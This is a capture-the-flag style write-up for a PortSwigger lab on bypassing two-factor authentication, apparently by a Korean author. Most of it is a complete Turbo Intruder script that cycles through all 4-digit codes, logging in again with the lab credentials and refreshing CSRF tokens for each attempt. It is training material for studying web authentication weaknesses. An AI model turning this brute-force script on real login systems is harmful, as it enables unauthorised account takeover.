[Write-Up] PortSwigger - 2FA Bypass Using a Brute-Force Attack

POST /login2 HTTP/2
Host: <lab-id>.web-security-academy.net
Cookie: session=<session>
Content-Type: application/x-www-form-urlencoded

csrf=GWBENVCkhpvE79cie1BglnMbawyIFuTd&mfa-code=0000

import re

# 매 실행마다 바뀌는 랩 인스턴스 호스트 -> 반드시 본인 것으로 교체
HOST = "<lab-id>.web-security-academy.net"

engine  = None
code    = 0       # 현재 시도할 4자리 코드 (int)
session = ''      # 현재 세션
csrf    = ''      # 현재 csrf 토큰
found   = False

def queueRequests(target, wordlists):
    global engine, session, csrf
    # 세션 체인이므로 반드시 순차 실행(동시성 1). HTTP/2 라 Engine.BURP2 필요.
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           engine=Engine.BURP2)

    # launch한 요청(POST /login2)에 담긴 유효한 init 세션/토큰으로 시작
    m = re.search(r"[Cc]ookie: session=([^;\r\n]+)", target.req)
    session = m.group(1) if m else None
    m = re.search(r"csrf=([^&\r\n]+)", target.req)
    csrf = m.group(1) if m else None

    engine.queue(mfa_post(), label="mfa")   # 첫 시도: code=0000

# ---------- 요청 빌더 ----------

def http(method, path, sess, body):
    r = "%s %s HTTP/2\r\nHost: %s\r\nCookie: session=%s\r\n" % (method, path, HOST, sess)
    if body is not None:
        r += "Content-Type: application/x-www-form-urlencoded\r\n"
        r += "Content-Length: %d\r\n" % len(body)
    r += "\r\n"
    if body is not None:
        r += body
    return r

def mfa_post():
    body = "csrf=%s&mfa-code=%s" % (csrf, str(code).zfill(4))
    return http("POST", "/login2", session, body)

def login_post():
    body = "csrf=%s&username=carlos&password=montoya" % csrf
    return http("POST", "/login", session, body)

def login2_get():
    return http("GET", "/login2", session, None)

# ---------- 응답에서 값 추출 ----------

def get_session(req):
    m = re.search(r"set-cookie:\s*session=([^;\s]+)", req.response, re.I)
    return m.group(1) if m else None

def get_csrf(resp):
    m = re.search(r'name="csrf" value="([^"]+)"', resp)
    return m.group(1) if m else None

# ---------- 상태 머신 ----------

def handleResponse(req, interesting):
    global session, csrf, code, found
    if found:
        return

    if req.label == "mfa":
        table.add(req)
        # 오답이면 항상 'Incorrect security code' 가 포함됨 -> 없으면 정답 후보
        if "Incorrect security code" not in req.response:
            found = True
            table.add(req)          # 성공 응답 -> 결과 테이블에서 수동 확인
            return
        # 오답 -> 로그아웃 페이지. 새 세션 + /login 폼 csrf 확보
        session = get_session(req) or session
        csrf = get_csrf(req.response) or csrf
        code += 1
        if code > 9999:
            return                  # 전 범위 소진
        engine.queue(login_post(), label="login")

    elif req.label == "login":
        # 302 -> 새 세션
        session = get_session(req) or session
        engine.queue(login2_get(), label="getmfa")

    elif req.label == "getmfa":
        # mfa 폼 페이지 -> 새 csrf (이 응답엔 보통 Set-Cookie 없음)
        session = get_session(req) or session
        csrf = get_csrf(req.response) or csrf
        engine.queue(mfa_post(), label="mfa")